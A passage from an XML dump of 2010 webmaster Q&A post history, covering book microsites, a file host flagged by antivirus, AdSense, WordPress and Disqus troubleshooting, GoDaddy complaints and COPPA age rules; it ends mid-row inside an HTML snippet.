  <row Id="8526" PostHistoryTypeId="2" PostId="4310" RevisionGUID="c5045488-4a21-41e0-8754-59c436397084" CreationDate="2010-10-24T10:50:54.837" UserId="407" Text="I'm looking to put together a small microsite to accompany a book being written by a friend. The website will both serve to advertise the book, encourage people to buy it, and contains additional content for those who've purchased the book which is better presented in an interactive form.&#xD;&#xA;&#xD;&#xA;I don't have much experience of putting together a site like this, so can anyone suggest some things the site should have/do or point me in the direction of similar sites for books you've read.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Tom" />
  <row Id="8527" PostHistoryTypeId="1" PostId="4310" RevisionGUID="c5045488-4a21-41e0-8754-59c436397084" CreationDate="2010-10-24T10:50:54.837" UserId="407" Text="Creating a companion website for a book" />
  <row Id="8528" PostHistoryTypeId="3" PostId="4310" RevisionGUID="c5045488-4a21-41e0-8754-59c436397084" CreationDate="2010-10-24T10:50:54.837" UserId="407" Text="&lt;websites&gt;&lt;microsite&gt;" />
  <row Id="8529" PostHistoryTypeId="2" PostId="4311" RevisionGUID="7ecf18fd-6ed0-4c87-b89a-3b1497ad83b8" CreationDate="2010-10-24T11:32:21.680" UserId="2690" Text="I operate a file hosting site, and recently I've found that some antivirus software have flagged it as malicious due to a few nasty files people have uploaded.&#xD;&#xA;&#xD;&#xA;Obviously I don't want my site to be flagged as malicious, as at the moment people are complaining that their AVs are completely blocking my site.&#xD;&#xA;&#xD;&#xA;I've set a robots.txt file to block crawlers from the /file/ directory, and I've sent an email to ESET (the vendor of one particular antivirus that's flagged my site.&#xD;&#xA;&#xD;&#xA;I've also implemented a VirusTotal check on upload of any .exe, .dll or .com files.&#xD;&#xA;&#xD;&#xA;What further steps should I follow to get my site removed from any AV blacklists that it is currently on?" />
  <row Id="8530" PostHistoryTypeId="1" PostId="4311" RevisionGUID="7ecf18fd-6ed0-4c87-b89a-3b1497ad83b8" CreationDate="2010-10-24T11:32:21.680" UserId="2690" Text="Website flagged by antivirus software" />
  <row Id="8531" PostHistoryTypeId="3" PostId="4311" RevisionGUID="7ecf18fd-6ed0-4c87-b89a-3b1497ad83b8" CreationDate="2010-10-24T11:32:21.680" UserId="2690" Text="&lt;virus&gt;" />
  <row Id="8532" PostHistoryTypeId="2" PostId="4312" RevisionGUID="b65dbb40-1515-4e81-8ea6-940b8e0ab415" CreationDate="2010-10-24T14:02:09.027" UserId="1253" Text="There could be several reasons for this:&#xD;&#xA;&#xD;&#xA; 1. Your visitors are using adblock software so the ads are never shown&#xD;&#xA;&#xD;&#xA; 2. Adsense can't find any ads that fit your site and is showing public service advertising&#xD;&#xA;&#xD;&#xA; 3. Your Adsense code is not being loaded either because it is incorrectly applied to your website or the page stops loading before it gets to that code&#xD;&#xA;&#xD;&#xA; 4. Users have JavaScript turned off&#xD;&#xA;&#xD;&#xA;You can contact Google in their [Adsense support forums][1]. Maybe someone there can help you identify the problem. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/AdSense/" />
  <row Id="8533" PostHistoryTypeId="2" PostId="4313" RevisionGUID="6e110468-7140-4efd-9cb2-a77098908b25" CreationDate="2010-10-24T14:13:33.263" UserId="1253" Text=" - Include a synopsis of the book so anyone who stumbles upon it who isn't a book owner yet knows what the book and site is all about&#xD;&#xA;&#xD;&#xA; - Includes an errata page where you can include corrections for the book. This can be misspellings, grammar, and sample coding errors.&#xD;&#xA;&#xD;&#xA; - Let users be able to download the sample code. You may want to prevent people who don't own the book from downloading it so implementing some sort of check might be a good idea. One I've seen once was to have the users enter a specific word on a random page. &#xD;&#xA;&#xD;&#xA; - Obviously include a place where someone who doesn't own the book can purchase it. You can sell the book directly or link to the amazon.com page for it (maybe even with an affiliate id so you make a little extra $$$).&#xD;&#xA;&#xD;&#xA; - A table of content is good to show prospective buyers what topics the book covers&#xD;&#xA;&#xD;&#xA; - A sample chapter, or part of one, is a good way to show the reader what the content is like.&#xD;&#xA;&#xD;&#xA; - A biography of the author" />
  <row Id="8535" PostHistoryTypeId="2" PostId="4315" RevisionGUID="bb781547-a8e9-46cb-a214-de3ae035f1eb" CreationDate="2010-10-24T17:18:23.570" UserId="1703" Text="This is very simple, you just need to know where to look.&#xD;&#xA;&#xD;&#xA;In the template for the site there exists an index.php file. Put the Google Analytics's JavaScript in the head tag near the top." />
  <row Id="8536" PostHistoryTypeId="2" PostId="4316" RevisionGUID="157ddc57-e0d6-4eee-94d8-0b9f1b47833d" CreationDate="2010-10-24T17:50:38.360" UserId="2696" Text="I'm currently writing for Crafthub.net, and since yesterday, whenever I try to access the admin control panel (http://crafthub.net/wp-admin/), it gives me a 404.&#xD;&#xA;crafthub.net/wp-content/themes/magzimus/style.css gives me a 404 too.&#xD;&#xA;Trying to access any other pages shows me a broken layout, in all browsers. A picture: http://dl.dropbox.com/u/4861882/arr.jpg&#xD;&#xA;&#xD;&#xA;I tried removing OpenDNS, with no success, tried cleaning cache, Ctrl+F5, nothing. Anyone have any ideas for me? Thanks.&#xD;&#xA;" />
  <row Id="8537" PostHistoryTypeId="1" PostId="4316" RevisionGUID="157ddc57-e0d6-4eee-94d8-0b9f1b47833d" CreationDate="2010-10-24T17:50:38.360" UserId="2696" Text="I'm having trouble with accessing my site's admin panel and CSS appears to be broken" />
  <row Id="8538" PostHistoryTypeId="3" PostId="4316" RevisionGUID="157ddc57-e0d6-4eee-94d8-0b9f1b47833d" CreationDate="2010-10-24T17:50:38.360" UserId="2696" Text="&lt;css&gt;" />
  <row Id="8539" PostHistoryTypeId="2" PostId="4317" RevisionGUID="6145aa4c-d57c-45ad-93ca-a632900bfb2a" CreationDate="2010-10-24T19:00:50.560" UserId="2648" Text="I hope I put this question as it should, I am not an expert in html/css/javascript, so forgive me if it's not very clear.&#xD;&#xA;&#xD;&#xA;The issue is as follows. I made my first website last week for the birth of my son (still not arrived :)). I intend to put some pictures on it, as well as some tips for a sustainable future. In addition, I would like to add a Disqus.com forum on it. I like Disqus, I use it on my blog and aggregates different discussions across the web. Very useful web-app. I put the code they provided me with on the site, and the forum is shown, but when opened using the left-menu, so inside the container, it is rendered inside a scrollable area. If you open it as [a separate page][2], there is no scrollbar (that's as I would like it), but no padding on the left (does the CSS not work for javascript?). &#xD;&#xA;&#xD;&#xA;Maybe a stupid question, but I have never made a website before, so.. I am kind of stupid :)&#xD;&#xA;&#xD;&#xA;I hope someone can answer my question. The link to the website is shown below and the menu item you should click is called &quot;Leg een ei&quot; (Lay an egg).&#xD;&#xA;&#xD;&#xA;Thieme&#xD;&#xA;&#xD;&#xA;http://littlelouie.nl&#xD;&#xA;" />
  <row Id="8540" PostHistoryTypeId="1" PostId="4317" RevisionGUID="6145aa4c-d57c-45ad-93ca-a632900bfb2a" CreationDate="2010-10-24T19:00:50.560" UserId="2648" Text="Embedding a Disqus forum on my website: showing scrollable area instead of expanding the height" />
  <row Id="8541" PostHistoryTypeId="3" PostId="4317" RevisionGUID="6145aa4c-d57c-45ad-93ca-a632900bfb2a" CreationDate="2010-10-24T19:00:50.560" UserId="2648" Text="&lt;css&gt;&lt;html&gt;&lt;javascript&gt;&lt;content&gt;" />
  <row Id="8542" PostHistoryTypeId="5" PostId="4317" RevisionGUID="8717a32a-f5ea-46ec-97f6-50ccd85021c6" CreationDate="2010-10-24T19:59:41.473" UserId="138" Comment="added 7 characters in body" Text="I hope I put this question as it should, I am not an expert in html/css/javascript, so forgive me if it's not very clear.&#xD;&#xA;&#xD;&#xA;The issue is as follows. I made my first website last week for the birth of my son (still not arrived :)). I intend to put some pictures on it, as well as some tips for a sustainable future. In addition, I would like to add a Disqus.com forum on it. I like Disqus, I use it on my blog and aggregates different discussions across the web. Very useful web-app. I put the code they provided me with on the site, and the forum is shown, but when opened using the left-menu, so inside the container, it is rendered inside a scrollable area. If you open it as a [separate page][1], there is no scrollbar (that's as I would like it), but no padding on the left (does the CSS not work for javascript?). &#xD;&#xA;&#xD;&#xA;Maybe a stupid question, but I have never made a website before, so.. I am kind of stupid :)&#xD;&#xA;&#xD;&#xA;I hope someone can answer my question. The link to the website is shown below and the menu item you should click is called &quot;Leg een ei&quot; (Lay an egg).&#xD;&#xA;&#xD;&#xA;Thieme&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://littlelouie.nl" />
  <row Id="8543" PostHistoryTypeId="5" PostId="4316" RevisionGUID="4e9dbbaf-e583-4b67-9e87-31479d5dea52" CreationDate="2010-10-24T20:06:53.687" UserId="2696" Comment="added 87 characters in body" Text="I'm currently writing for Crafthub.net, and since yesterday, whenever I try to access the admin control panel (http://crafthub.net/wp-admin/), it gives me a 404.&#xD;&#xA;crafthub.net/wp-content/themes/magzimus/style.css gives me a 404 too.&#xD;&#xA;Trying to access any other pages shows me a broken layout, in all browsers. A picture: http://dl.dropbox.com/u/4861882/arr.jpg&#xD;&#xA;Also, everything I try to access on the site - images, as an example - give me a 404.&#xD;&#xA;&#xD;&#xA;I tried removing OpenDNS, with no success, tried cleaning cache, Ctrl+F5, nothing. Anyone have any ideas for me? Thanks.&#xD;&#xA;" />
  <row Id="8544" PostHistoryTypeId="2" PostId="4318" RevisionGUID="d0178425-ff26-4ac8-95c7-862b1586bdef" CreationDate="2010-10-24T20:07:49.310" UserId="2697" Text="This guy needs help.. anyone? :|" />
  <row Id="8545" PostHistoryTypeId="2" PostId="4319" RevisionGUID="77e3a1da-ab6d-4041-92f0-7d90113398ed" CreationDate="2010-10-24T20:12:54.457" UserId="138" Text="First - congratulations on your son, I have my first 5-month-old myself and it's a wonderful (but busy and tired) time of my life.&#xD;&#xA;&#xD;&#xA;The issue with what you've got there is that you site is using `&lt;frame&gt;`, which is quite inflexible, and frankly outdated - even though you've actually done a very good job of getting them to look good!&#xD;&#xA;&#xD;&#xA;Your main `&lt;frame&gt;` has a fixed height of 800px, which is why it's not expanding, but I don't think I've ever seen a frames site auto-expand the way you're intending.&#xD;&#xA;&#xD;&#xA;There are two solutions to your situation, both involve dumping the `&lt;frame&gt;` option:&#xD;&#xA;&#xD;&#xA;1. Use  `&lt;table&gt;` based layout. CSS fanatics and strict XHTML people will have just had a heart attack with what I just said, but frankly it's the quickest and easiest way to get the layout that you want, and I'm guessing that you won't be doing a huge amount of traffic (friends and family only?) so nobody is going to mind, or even know.  &#xD;&#xA;  &#xD;&#xA;  A table with two columns should suffice - the first row will have two columns (left and right), and the bottom row will have a `colspan=2` to make the footer row. Throw in a `&lt;valign=top&gt;` and that will ensure that the content keeps its current look and feel.&#xD;&#xA;&#xD;&#xA;2. A `&lt;div&gt;` based layout. This is what the CSS and XHTML people will prefer to you use, and the layout will look the same as both a `&lt;table&gt;` and `&lt;frames&gt;` based layout but the fundamental way it's been designed is quite different. You'll need to use `&lt;div&gt;` tag and the `float` CSS property to get it to work. The people over at [doctype.com][1] should be able to help you with that.&#xD;&#xA;&#xD;&#xA;Now, both of these solutions involve re-embedding your header and your footer onto every page. On a small site like this, I wouldn't be too concerned but if you start growing it to &gt; 3 pages then it could become a nightmare to maintain. This is where some server-side coding comes into play.&#xD;&#xA;&#xD;&#xA;What you would need is really very, very, very simple though, so don't go freaking out. If you were doing this in say, PHP, all you would need to do is say:&#xD;&#xA;&#xD;&#xA;    &lt;?php include('navigation.html') ?&gt;&#xD;&#xA;&#xD;&#xA;Wherever you want the navigation to appear, have a file called `navigation.html` and it will then copy that file wherever that code is placed. So you place that code where you want the nav to appear in your pages, and hey presto :)&#xD;&#xA;&#xD;&#xA;I hope that's given you some food for thought, let us know if you have any other queries.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;P.S. I love your little artwork on the page, it brought a swell to my heart. Ahh the joys of parenthood&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.doctype.com" />
  <row Id="8546" PostHistoryTypeId="12" PostId="4318" RevisionGUID="225af62b-4a14-4270-aac6-28dd375f115b" CreationDate="2010-10-24T20:29:15.100" UserId="138" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="8547" PostHistoryTypeId="2" PostId="4320" RevisionGUID="1539f52a-e490-4c3e-84d6-16ddd58b8425" CreationDate="2010-10-24T20:35:16.607" UserId="2680" Text="Just noticed Fat Cow has a $5 a year plan for just this purpose.&#xD;&#xA;&#xD;&#xA;http://www.fatcow.com/fatcow/minimoo.bml&#xD;&#xA;&#xD;&#xA;That gives you a single page, and email." />
  <row Id="8548" PostHistoryTypeId="13" PostId="4318" RevisionGUID="45bb8139-e618-4c87-946c-b1a0a66ba183" CreationDate="2010-10-24T20:36:47.260" UserId="2697" Text="[{&quot;Id&quot;:2697,&quot;DisplayName&quot;:&quot;Dan&quot;}]" />
  <row Id="8549" PostHistoryTypeId="2" PostId="4321" RevisionGUID="5e0b30bd-a567-41ee-b6de-d383e720156d" CreationDate="2010-10-24T07:32:09.773" UserDisplayName="sscirrus" Text="When I try to open my site on IE (development, environment, or online), it crashes every time. This is my server readout upon entering the home page (it actually crashes on any page view after this):&#xD;&#xA;&#xD;&#xA;`Rendered shared/_footer.erb (0.0ms) Rendered welcome/index.html.erb within layouts/index (179.0ms) Completed 200 OK in 204ms (Views: 203.0ms | ActiveRecord: 0.0ms) [2010-10-24 03:16:26] ERROR Errno::ECONNABORTED: An established connection was a borted by the software in your host machine. C:/San/Ruby192/lib/ruby/1.9.1/webrick/httpserver.rb:56:in 'eof?' C:/San/Ruby192/lib/ruby/1.9.1/webrick/httpserver.rb:56:in 'run' C:/San/Ruby192/lib/ruby/1.9.1/webrick/server.rb:183:in 'block in start_ thread'`&#xD;&#xA;&#xD;&#xA;Another error I sometimes get:&#xD;&#xA;&#xD;&#xA;`[2010-10-24 03:22:21] ERROR Errno::ECONNRESET: An existing connection was forcib ly closed by the remote host.`&#xD;&#xA;&#xD;&#xA;Do you know what the problem might be? This is crucial for me because of the people who may be using the app. Thanks everyone.&#xD;&#xA;&#xD;&#xA;Setup:  &#xD;&#xA;Ruby 1.9.2  &#xD;&#xA;Rails 3  &#xD;&#xA;Servers: Webrick for development, MySQL for production (failure occurs equally on both)  &#xD;&#xA;Host: Heroku" />
  <row Id="8550" PostHistoryTypeId="1" PostId="4321" RevisionGUID="5e0b30bd-a567-41ee-b6de-d383e720156d" CreationDate="2010-10-24T07:32:09.773" UserDisplayName="sscirrus" Text="My site crashes Internet Explorer!" />
  <row Id="8551" PostHistoryTypeId="3" PostId="4321" RevisionGUID="5e0b30bd-a567-41ee-b6de-d383e720156d" CreationDate="2010-10-24T07:32:09.773" UserDisplayName="sscirrus" Text="&lt;websites&gt;&lt;ruby-on-rails&gt;&lt;internet-explorer&gt;" />
  <row Id="8552" PostHistoryTypeId="17" PostId="4321" RevisionGUID="36b9f41f-e5ed-47dc-882d-22d403b5e7c2" CreationDate="2010-10-24T21:43:58.097" UserId="-1" Comment="from http://serverfault.com/questions/194200/my-site-crashes-internet-explorer" Text="" />
  <row Id="8553" PostHistoryTypeId="2" PostId="4322" RevisionGUID="641345da-6618-45b6-9bec-bcc19a7a4b2f" CreationDate="2010-10-24T23:23:32.240" UserId="2087" Text="Have you tried this link? &#xD;&#xA;http://crafthub.net/wp-login.php&#xD;&#xA;It worked for me but the /wp-admin/ doesn't work for me. " />
  <row Id="8554" PostHistoryTypeId="2" PostId="4323" RevisionGUID="f6e6608c-0d91-4f46-af61-57477656d779" CreationDate="2010-10-24T23:42:18.800" UserId="2699" Text="I've heard in many places that Godaddy is a horrible hosting provider, but rarely exact reasons on why. I've been with them for a 2+ years and am okay with their hosting. And I run roughly 7 low traffic sites over 3 domains. Currently right now I'm on their Shared Linux hosting with PHP and MySQL (one which is public facing, something that a host rarely offers).&#xD;&#xA;&#xD;&#xA;But whats actually wrong with them? Do they really deserve all the negative comments?&#xD;&#xA;&#xD;&#xA;Things they do good (mainly with Shared hosting as thats the only experience I have with them)&#xD;&#xA;&#xD;&#xA;- Decent support - To my knowledge they still have support staff in the US and haven't outsourced, which is always good. Most of the staff actually know what their talking about, and you don't have to wait on the phone much. They've been useful many times&#xD;&#xA;- Great PHP and MySQL hosting - Haven't found a problem yet with them&#xD;&#xA;- Long list of language support - They *claim* to support many languages, which is gives tons of flexibility&#xD;&#xA;- OS choice - Always good&#xD;&#xA;&#xD;&#xA;Things I can think of that are bad.&#xD;&#xA;&#xD;&#xA;- Terrible interface - Domain management takes place in 5 different interfaces. My paid account and hosting account are separate. Getting to hosting manager takes way to many clicks. Bad menu items. Slow file manager. Etc.&#xD;&#xA;- Bad rails support - Currently on day 5 or 6 of [trying to install a Rails app.][1]&#xD;&#xA;&#xD;&#xA;That's all that I can think of. Besides Rails support, I don't see anything that would make everyone hate GoDaddy. What is it that I'm missing? Or are most people that complain wrong?&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/3983297/500s-timeouts-and-redirect-loops-with-radiant-a-ror-cms" />
  <row Id="8555" PostHistoryTypeId="1" PostId="4323" RevisionGUID="f6e6608c-0d91-4f46-af61-57477656d779" CreationDate="2010-10-24T23:42:18.800" UserId="2699" Text="Whats actually wrong with GoDaddy?" />
  <row Id="8556" PostHistoryTypeId="3" PostId="4323" RevisionGUID="f6e6608c-0d91-4f46-af61-57477656d779" CreationDate="2010-10-24T23:42:18.800" UserId="2699" Text="&lt;web-hosting&gt;" />
  <row Id="8557" PostHistoryTypeId="2" PostId="4324" RevisionGUID="8abdce3c-7a6d-49b2-b34e-b18c45733a7a" CreationDate="2010-10-25T00:01:07.530" UserId="2595" Text="I currently host sites with Godaddy and I've never had problem with them. I know there are people that's had real problems with the reliability of their hosting, but I've never had a single problem." />
  <row Id="8558" PostHistoryTypeId="2" PostId="4325" RevisionGUID="a1e6a284-2185-46d1-b451-8f66cb91ad7a" CreationDate="2010-10-25T00:20:02.593" UserId="138" Text="To begin with, I hate their name. It's always smelled off for me.&#xD;&#xA;&#xD;&#xA;Secondly, you'll find that the large players in *any* field are hated. People hate Microsoft, people hate Apple and some people even hate Google. The problem is that the people who hate something are a lot more vocal than the people who love something.&#xD;&#xA;&#xD;&#xA;My Samsung TV died the other week. I actually like the brand, and they've been very good about replacing it under its warranty (even getting an upgrade), but if someone asks me about my TV I'm going to say &quot;Well, it stopped working after 2 years and sometimes it turns itself on at 3am&quot;, but if it hadn't died, I would be very unlikely to say &quot;It's been 2 years and it hasn't needed to be replaced&quot;, I'd just say &quot;It's fine&quot;.&#xD;&#xA;&#xD;&#xA;It's just the way of the world." />
  <row Id="8559" PostHistoryTypeId="2" PostId="4326" RevisionGUID="36591ed2-b2cc-454b-bec5-4a4e6b1f05fc" CreationDate="2010-10-25T00:33:59.660" UserId="2702" Text="A lot of sites require users registering to be 13 years of age. Is there any actual law that requires this?" />
  <row Id="8560" PostHistoryTypeId="1" PostId="4326" RevisionGUID="36591ed2-b2cc-454b-bec5-4a4e6b1f05fc" CreationDate="2010-10-25T00:33:59.660" UserId="2702" Text="Do users need to be 13?" />
  <row Id="8561" PostHistoryTypeId="3" PostId="4326" RevisionGUID="36591ed2-b2cc-454b-bec5-4a4e6b1f05fc" CreationDate="2010-10-25T00:33:59.660" UserId="2702" Text="&lt;users&gt;" />
  <row Id="8562" PostHistoryTypeId="10" PostId="4316" RevisionGUID="1525d42b-6ea9-4b8b-a336-f32243553260" CreationDate="2010-10-25T00:39:30.797" UserId="138" CloseReasonId="2" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="8563" PostHistoryTypeId="2" PostId="4327" RevisionGUID="17dbc679-8b2c-4c88-aec5-1a503bb4a2e0" CreationDate="2010-10-25T00:40:22.123" UserId="924" Text="Yahoo Boss has an API that provides related search terms. Check out the API Response Fields: http://developer.yahoo.com/search/boss/boss_guide/ch02s02.html&#xD;&#xA;&#xD;&#xA;Google's Custom Search API has related search terms in their Refinement Labels:  code.google.com/apis/customsearch/docs/refinements.html&#xD;&#xA;&#xD;&#xA;Granted these aren't exactly the same related search terms that you'll find on Yahoo.com and Google.com, but they're pretty close and of course the same engineering teams worked on the algorithms being used." />
  <row Id="8564" PostHistoryTypeId="2" PostId="4328" RevisionGUID="fd5ee206-7e7f-4ae3-a60c-4110f932296c" CreationDate="2010-10-25T00:43:36.783" UserId="1253" Text="That's because of [COPPA - Children's Online Privacy Protection Act][1]. From [WikiPedia][2]:&#xD;&#xA;&#xD;&#xA;&gt; The act, effective April 21, 2000, applies to the online collection of personal information by persons or entities under U.S. jurisdiction from children under 13 years of age. It details what a website operator must include in a privacy policy, when and how to seek verifiable consent from a parent or guardian, and what responsibilities an operator has to protect children's privacy and safety online including restrictions on the marketing to those under 13. While children under 13 can legally give out personal information with their parents' permission, many websites altogether disallow underage children from using their services due to the amount of paperwork involved.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.coppa.org/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Children's_Online_Privacy_Protection_Act" />
  <row Id="8565" PostHistoryTypeId="2" PostId="4329" RevisionGUID="7fe8ed0d-e4d9-4ce3-b858-2a45556098d8" CreationDate="2010-10-25T00:46:51.133" UserId="1253" Text="One complaint I've heard is that their custom control panel isn't very good when compared to common control panels like cPanel or Plesk.&#xD;&#xA;&#xD;&#xA;They used to have a stupid policy in place that made you use their proxy server to do contact other servers through your software. They did away with that a few years ago but they may have contributed to some people's negative opinion of them." />
  <row Id="8566" PostHistoryTypeId="2" PostId="4330" RevisionGUID="6ba7efb5-29ea-4a0b-9867-592f1cafbfb8" CreationDate="2010-10-25T01:07:17.967" UserId="1757" Text="Recently someone posted a netcraft link comparing different web hosts, and GoDaddy ranked near the bottom with over 1% downtime, which is pretty terrible. That said, they also showed Rackspace with over 2% downtime.&#xD;&#xA;&#xD;&#xA;My biggest problem with Godaddy, aside from the interface, are their skeezy business practices. Domain registrars are in a position of power. That means they also have a lot of responsibility. Traditionally, large registrars have abused their power and neglected their responsibilities (see the [Site Finder][1] scandal and all the BS that Network Solutions has pulled over the years). Godaddy has followed in the footsteps of those registrars by working with domain squatters&amp;mdash;people/companies who use automated scripts to buy up large quantities of domains that they can resell at extortionate prices. That's sort of like Google working with blackhat SEOs and people who create spam sites instead of fighting them. It's a huge conflict of interest that hurts the online community.&#xD;&#xA;&#xD;&#xA;Aside from their constant peddling of squatted domains and domain brokerage services, they were also busted for running a [domain warehouse][2]. And even though Standard Tactics has been shutdown, there's still evidence that Godaddy sells search data to domain squatters (frontrunning by registrars is illegal now, but they can still make money by helping other squatters do it), and they've long been accused of being a haven for spammers.&#xD;&#xA;&#xD;&#xA;Lastly, Godaddy's practice of turning expired domains or past-due hosting accounts into self-promotional billboards is really unprofessional. I mean, if any other company put up pages like those (zero content but crammed full of advertising), they'd be labeled a spammer. Mind you Godaddy is putting up hundreds of thousands of these types of pages. That alone should be reason enough to go with another host/registrar.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Site_Finder&#xD;&#xA;  [2]: http://techcrunch.com/2008/12/18/godaddy-moves-to-close-shady-standard-tactics-subsidiary/" />
  <row Id="8567" PostHistoryTypeId="2" PostId="4331" RevisionGUID="05cb394d-5ad2-4ab3-9e25-014a4291082e" CreationDate="2010-10-25T01:10:30.443" UserId="2027" Text="I've got a shared hosting account on GoDaddy, however my domain name is registered at a seperate company.  Assuming I already know how to point my domain name to whatever I want, how do I set up GoDaddy to accept the whatever domain name I want, and how do I find the proper address for my GoDaddy hosting so that I can point my domain name to?" />
  <row Id="8568" PostHistoryTypeId="1" PostId="4331" RevisionGUID="05cb394d-5ad2-4ab3-9e25-014a4291082e" CreationDate="2010-10-25T01:10:30.443" UserId="2027" Text="GoDaddy shared hosting with domain registed at a different registrar." />
  <row Id="8569" PostHistoryTypeId="3" PostId="4331" RevisionGUID="05cb394d-5ad2-4ab3-9e25-014a4291082e" CreationDate="2010-10-25T01:10:30.443" UserId="2027" Text="&lt;domains&gt;" />
  <row Id="8570" PostHistoryTypeId="6" PostId="4331" RevisionGUID="7e8b3267-736e-435c-8883-bfb8aee25783" CreationDate="2010-10-25T01:16:37.043" UserId="2027" Comment="edited tags" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;shared-hosting&gt;" />
  <row Id="8571" PostHistoryTypeId="2" PostId="4332" RevisionGUID="c2486050-8974-4c62-b330-f5af55bb992b" CreationDate="2010-10-25T01:29:50.463" UserId="1064" Text="&gt; Do they really deserve all the&#xD;&#xA;&gt; negative comments?&#xD;&#xA;&#xD;&#xA;If your own experience would suggest that the negative comments you come across are not obviously being made up, I think that might give you credulity on this point.&#xD;&#xA;&#xD;&#xA;*Yes* they do deserve some criticisms (particularly where their management interface is concerned) - and that's a surprising thing to get wrong, given that other providers have figured out how to get it right. A company with GoDaddy's resources could easily design a better interface for its customers (*or just copy the best aspects of cPanel's interface*) - that they've chosen not to should be *some* indication of *something*.&#xD;&#xA;&#xD;&#xA;Registering a domain at GoDaddy without buying hosting always seems to require more work than registering a domain while buying hosting - can't say I appreciate the ignorance/annoyance-factor upselling (seems to suggest that most of GoDaddy's hosting customers &quot;came for the domain, stayed for the hosting&quot;)." />
  <row Id="8572" PostHistoryTypeId="2" PostId="4333" RevisionGUID="49c0fcc3-7bbc-4181-8cc7-d2a66dcfa0cc" CreationDate="2010-10-25T01:34:57.350" UserId="138" Text="It wouldn't surprise me if your site is in violation of Adsense policy, as it loads dozens of ads, including popups, and appears to just be an ad farm." />
  <row Id="8573" PostHistoryTypeId="2" PostId="4334" RevisionGUID="426046e5-77b8-40d6-b049-358076917fde" CreationDate="2010-10-25T01:48:13.973" UserId="2551" Text="I want to offer the user the possibility to add the country/language for websites they would submit to a fairly simple website directory. I have a folder with flags from http://www.famfamfam.com/lab/icons/flags/ . The flag images are named according to the ISO 3166-1 alpha-2 country codes, meaning that I could make a PHP script that would be able to retrieve images and the name of the country retrieved from the image name (not the full name, but it wouldn't be necessary). &#xD;&#xA;&#xD;&#xA;Just to make things clearer, I couldn't find a proper combo-box jQuery plugin for my needs (that would act exactly like the native &lt;option&gt; but with an icon before the text) and don't really have the time to develop one on my own. Considering the number of images, I also wouldn't just display them all with a radio box near them. Also, having a classic drop-down list would be a nightmare for me as I would have to assign the short country name manually to each entry, or do it once for every country. Offering the user a dropdown list with the short country names but no flag near them would also be unfriendly and confusing.&#xD;&#xA;&#xD;&#xA;The idea is that every website featured in the directory would have the country flag icon near it. I have the images named properly but I don't know how to let the user choose the right image for their website. Any idees?&#xD;&#xA;&#xD;&#xA;Thank you all in advance!" />
  <row Id="8574" PostHistoryTypeId="1" PostId="4334" RevisionGUID="426046e5-77b8-40d6-b049-358076917fde" CreationDate="2010-10-25T01:48:13.973" UserId="2551" Text="Best way to let users choose country/language when submiting an URL to a directory" />
  <row Id="8575" PostHistoryTypeId="3" PostId="4334" RevisionGUID="426046e5-77b8-40d6-b049-358076917fde" CreationDate="2010-10-25T01:48:13.973" UserId="2551" Text="&lt;usability&gt;&lt;user-input&gt;&lt;user-friendly&gt;" />
  <row Id="8576" PostHistoryTypeId="2" PostId="4335" RevisionGUID="a8395f92-4e7e-4e30-ac86-eb4f2ad42df2" CreationDate="2010-10-25T01:50:21.997" UserId="2523" Text="Hi I see a [wordpress.com][1] blog and on the latest post there is a redirect for the external links via &quot;http://go2.wordpress.com/&quot; redirect. This redirect is obfuscated - on hovering the link it displays a &quot;http://google.com/url?...&quot; redirect instead.&#xD;&#xA;&#xD;&#xA;What is this and why is it suddenly on this post and not others?&#xD;&#xA;&#xD;&#xA;Also, would it harm SEO for the affected outgoing links?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://openunionism.wordpress.com/" />
  <row Id="8577" PostHistoryTypeId="1" PostId="4335" RevisionGUID="a8395f92-4e7e-4e30-ac86-eb4f2ad42df2" CreationDate="2010-10-25T01:50:21.997" UserId="2523" Text="What is the http://go2.wordpress.com/ redirect?" />
  <row Id="8578" PostHistoryTypeId="3" PostId="4335" RevisionGUID="a8395f92-4e7e-4e30-ac86-eb4f2ad42df2" CreationDate="2010-10-25T01:50:21.997" UserId="2523" Text="&lt;url&gt;&lt;redirects&gt;" />
  <row Id="8579" PostHistoryTypeId="5" PostId="4334" RevisionGUID="40c392a1-b12f-4642-8e58-685ce89f376a" CreationDate="2010-10-25T01:58:23.277" UserId="2551" Comment="added 509 characters in body; edited body" Text="I want to offer the user the possibility to add the country/language for websites they would submit to a fairly simple website directory. I have a folder with flags from http://www.famfamfam.com/lab/icons/flags/ . The flag images are named according to the ISO 3166-1 alpha-2 country codes, meaning that I could make a PHP script that would be able to retrieve images and the name of the country retrieved from the image name (not the full name, but it wouldn't be necessary). &#xD;&#xA;&#xD;&#xA;Just to make things clearer, I couldn't find a proper combo-box jQuery plugin for my needs (that would act exactly like the native &lt;option&gt; but with an icon before the text) and don't really have the time to develop one on my own. Considering the number of images, I also wouldn't just display them all with a radio box near them. Also, having a classic drop-down list would be a nightmare for me as I would have to assign the short country name manually to each entry, or do it once for every country. Offering the user a dropdown list with the short country names but no flag near them would also be unfriendly and confusing.&#xD;&#xA;&#xD;&#xA;The idea is that every website featured in the directory would have the country flag icon near it. I have the images named properly but I don't know how to let the user choose the right image for their website. Any idees?&#xD;&#xA;&#xD;&#xA;Thank you all in advance!&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;Temporary solution is this file: http://www.andrewpatton.com/countrylist.csv&#xD;&#xA;It contains a list of countries including various other info, like the short country name, the same name that's used for the flag images. I can take that information and have a classic &lt;option&gt; like this:&#xD;&#xA;&#xD;&#xA;    &lt;select name=&quot;countries&quot;&gt;&#xD;&#xA;         &lt;option 